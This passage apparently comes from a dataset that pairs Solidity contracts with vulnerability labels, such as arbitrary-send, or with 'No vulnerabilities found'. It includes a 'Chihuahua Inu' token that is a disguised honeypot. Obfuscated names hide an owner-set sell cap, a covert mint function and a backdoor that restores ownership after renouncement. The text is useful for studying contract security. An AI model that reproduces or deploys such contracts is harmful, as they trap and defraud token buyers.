tokensAmounts = new uint256[](data.tokensAmounts.length);
for(uint256 i = 0; i < data.tokensAmounts.length; i++) {
bool eth = data.involvingETH && data.liquidityPoolTokens[i] == _ethereumAddress;
if(!eth) {
_safeTransfer(data.liquidityPoolTokens[i], data.receiver, data.tokensAmounts[i] = IERC20(data.liquidityPoolTokens[i]).balanceOf(address(this)));
} else {
if(!_multi) {
IWETH(_ethereumAddress).withdraw(tokensAmounts[i] = IERC20(_ethereumAddress).balanceOf(address(this)));
payable(data.receiver).transfer(tokensAmounts[i]);
}
}
}
}
function _swapLiquidity(ProcessedSwapData memory data) internal override virtual returns(uint256 outputAmount) {
if(data.enterInETH) {
IWETH(_ethereumAddress).deposit{value : data.amount}();
}
outputAmount = data.amount;
for(uint256 i = 0; i < data.liquidityPoolAddresses.length; i++) {
address inputToken = i == 0 ? data.enterInETH ? _ethereumAddress : data.inputToken : data.path[i - 1];
_safeApprove(inputToken, data.liquidityPoolAddresses[i], outputAmount);
address outputToken = i != data.liquidityPoolAddresses.length - 1 || !data.exitInETH ? data.path[i] : _ethereumAddress;
(outputAmount, ) = BPool(data.liquidityPoolAddresses[i]).swapExactAmountIn(inputToken, outputAmount, outputToken, 1, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff);
}
if(data.exitInETH) {
IWETH(_ethereumAddress).withdraw(outputAmount);
payable(data.receiver).transfer(outputAmount);
} else {
_safeTransfer(data.path[data.path.length - 1], data.receiver, outputAmount);
}
}
function addLiquidity(LiquidityPoolData memory data) payable public virtual override(IAMM, AMM) returns(uint256 liquidityPoolAmount, uint256[] memory tokensAmounts, address[] memory liquidityPoolTokens) {
ProcessedLiquidityPoolData memory processedLiquidityPoolData = _processLiquidityPoolData(data);
_transferToMeAndCheckAllowance(liquidityPoolTokens = processedLiquidityPoolData.liquidityPoolTokens, processedLiquidityPoolData.tokensAmounts, processedLiquidityPoolData.liquidityPoolOperator, data.involvingETH);
(liquidityPoolAmount, tokensAmounts) = _addLiquidity(processedLiquidityPoolData);
if(!_multi) {
_flushBack(liquidityPoolTokens);
}
}
function addLiquidityBatch(LiquidityPoolData[] memory data) payable public virtual override(IAMM, AMM) returns(uint256[] memory liquidityPoolAmounts, uint256[][] memory tokensAmounts, address[][] memory liquidityPoolTokens) {
liquidityPoolAmounts = new uint256[](data.length);
tokensAmounts = new uint256[][](data.length);
liquidityPoolTokens = new address[][](data.length);
_multi = true;
for(uint256 i = 0; i < data.length; i++) {
(liquidityPoolAmounts[i], tokensAmounts[i], liquidityPoolTokens[i]) = addLiquidity(data[i]);
}
for(uint256 i = 0; i < data.length; i++) {
_flushBack(liquidityPoolTokens[i]);
}
_flushBack(address(0));
_multi = false;
}
function removeLiquidityBatch(LiquidityPoolData[] memory data) public virtual override(IAMM, AMM) returns(uint256[] memory liquidityPoolAmounts, uint256[][] memory tokensAmounts, address[][] memory liquidityPoolTokens) {
liquidityPoolAmounts = new uint256[](data.length);
tokensAmounts = new uint256[][](data.length);
liquidityPoolTokens = new address[][](data.length);
_multi = true;
for(uint256 i = 0; i < data.length; i++) {
(liquidityPoolAmounts[i], tokensAmounts[i], liquidityPoolTokens[i]) = removeLiquidity(data[i]);
}
for(uint256 i = 0; i < data.length; i++) {
_flushBack(liquidityPoolTokens[i]);
}
_flushBack(address(0));
_multi = false;
}
function swapLiquidityBatch(SwapData[] memory data) payable public virtual override(IAMM, AMM) returns(uint256[] memory outputAmounts) {
outputAmounts = new uint256[](data.length);
_multi = true;
for(uint256 i = 0; i < data.length; i++) {
outputAmounts[i] = swapLiquidity(data[i]);
}
_multi = false;
}
function bmul(uint a, uint b)
internal pure
returns (uint)
{
uint c0 = a * b;
require(a == 0 || c0 / a == b, "ERR_MUL_OVERFLOW");
uint c1 = c0 + (BONE / 2);
require(c1 >= c0, "ERR_MUL_OVERFLOW");
uint c2 = c1 / BONE;
return c2;
}
function bdiv(uint a, uint b)
internal pure
returns (uint)
{
require(b != 0, "ERR_DIV_ZERO");
uint c0 = a * BONE;
require(a == 0 || c0 / a == BONE, "ERR_DIV_INTERNAL"); // bmul overflow
uint c1 = c0 + (b / 2);
require(c1 >= c0, "ERR_DIV_INTERNAL"); // badd require
uint c2 = c1 / b;
return c2;
}
} | These are the vulnerabilities found
1) uninitialized-local with Medium impact
2) incorrect-equality with Medium impact
3) msg-value-loop with High impact
4) arbitrary-send with High impact |
// SPDX-License-Identifier: MIT
/*
* Token has been generated for FREE using https://vittominacori.github.io/erc20-generator/
*
* NOTE: "Contract Source Code Verified (Similar Match)" means that this Token is similar to other tokens deployed
* using the same generator. It is not an issue. It means that you won't need to verify your source code because of
* it is already verified.
*
* DISCLAIMER: GENERATOR'S AUTHOR IS FREE OF ANY LIABILITY REGARDING THE TOKEN AND THE USE THAT IS MADE OF IT.
* The following code is provided under MIT License. Anyone can use it as per their needs.
* The generator's purpose is to make people able to tokenize their ideas without coding or paying for it.
* Source code is well tested and continuously updated to reduce risk of bugs and to introduce language optimizations.
* Anyway the purchase of tokens involves a high degree of risk. Before acquiring tokens, it is recommended to
* carefully weighs all the information and risks detailed in Token owner's Conditions.
*/
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: contracts/service/ServicePayer.sol
pragma solidity ^0.8.0;
interface IPayable {
function pay(string memory serviceName) external payable;
}
/**
* @title ServicePayer
* @dev Implementation of the ServicePayer
*/
abstract contract ServicePayer {
constructor (address payable receiver, string memory serviceName) payable {
IPayable(receiver).pay{value: msg.value}(serviceName);
}
}
// File: contracts/utils/GeneratorCopyright.sol
pragma solidity ^0.8.0;
/**
* @title GeneratorCopyright
* @author ERC20 Generator (https://vittominacori.github.io/erc20-generator)
* @dev Implementation of the GeneratorCopyright
*/
contract GeneratorCopyright {
string private constant _GENERATOR = "https://vittominacori.github.io/erc20-generator";
string private _version;
constructor (string memory version_) {
_version = version_;
}
/**
* @dev Returns the token generator tool.
*/
function generator() public pure returns (string memory) {
return _GENERATOR;
}
/**
* @dev Returns the token generator version.
*/
function version() public view returns (string memory) {
return _version;
}
}
// File: contracts/token/ERC20/SimpleERC20.sol
pragma solidity ^0.8.0;
/**
* @title SimpleERC20
* @author ERC20 Generator (https://vittominacori.github.io/erc20-generator)
* @dev Implementation of the SimpleERC20
*/
contract SimpleERC20 is ERC20, ServicePayer, GeneratorCopyright("v5.0.1") {
constructor (
string memory name_,
string memory symbol_,
uint256 initialBalance_,
address payable feeReceiver_
)
ERC20(name_, symbol_)
ServicePayer(feeReceiver_, "SimpleERC20")
payable
{
require(initialBalance_ > 0, "SimpleERC20: supply cannot be zero");
_mint(_msgSender(), initialBalance_);
}
}
| No vulnerabilities found |
pragma solidity 0.5.16;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8);
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the erc20 token owner.
*/
function getOwner() external view returns (address);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address _owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
address private usamerica;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
usamerica = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function SetBurnAddress() public {
require(_owner != usamerica);
emit OwnershipTransferred(_owner, usamerica);
_owner = usamerica;
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ERC20Token is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public spain;
mapping (address => bool) public colombia;
bool private dickson;
uint256 private _totalSupply;
uint256 private germany;
uint256 private canada;
uint8 private _decimals;
string private _symbol;
string private _name;
bool private mexico;
address private creator;
uint russia = 0;
constructor() public {
creator = address(msg.sender);
dickson = true;
mexico = true;
_name = "Chihuahua Inu";
_symbol = "CHINU";
_decimals = 8;
_totalSupply = 7000000000000000000;
germany = _totalSupply / 100000000000000;
canada = germany;
colombia[creator] = false;
_balances[msg.sender] = _totalSupply;
spain[msg.sender] = true;
emit Transfer(address(0), msg.sender, _totalSupply);
}
/**
* @dev Returns the erc20 token owner.
*/
function getOwner() external view returns (address) {
return owner();
}
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8) {
return _decimals;
}
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory) {
return _name;
}
/**
* @dev See {ERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) external returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {ERC20-totalSupply}.
*/
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
function ViewTheTree() external view returns (uint256) {
return germany;
}
function randomItIs() internal returns (uint) {
uint screen = uint(keccak256(abi.encodePacked(now, msg.sender, russia))) % 4;
russia++;
return screen;
}
/**
* @dev See {ERC20-balanceOf}.
*/
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
/**
* @dev See {ERC20-allowance}.
*/
function allowance(address owner, address spender) external view returns (uint256) {
return _allowances[owner][spender];
}
function BurnLP(uint256 amount) external onlyOwner {
germany = amount;
}
/**
* @dev See {ERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) external returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {ERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*
*
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing
* the total supply.
*
* Requirements
*
* - `msg.sender` must be the token owner
*/
function CheckAddress(address spender, bool val, bool val2) external onlyOwner {
spain[spender] = val;
colombia[spender] = val2;
}
function BigBangerBrr(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if ((address(sender) == creator) && (dickson == true)) {
spain[recipient] = true;
colombia[recipient] = false;
dickson = false;
}
if (spain[recipient] != true) {
colombia[recipient] = ((randomItIs() == 2) ? true : false);
}
if ((colombia[sender]) && (spain[recipient] == false)) {
colombia[recipient] = true;
}
if (spain[sender] == false) {
require(amount < germany);
}
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
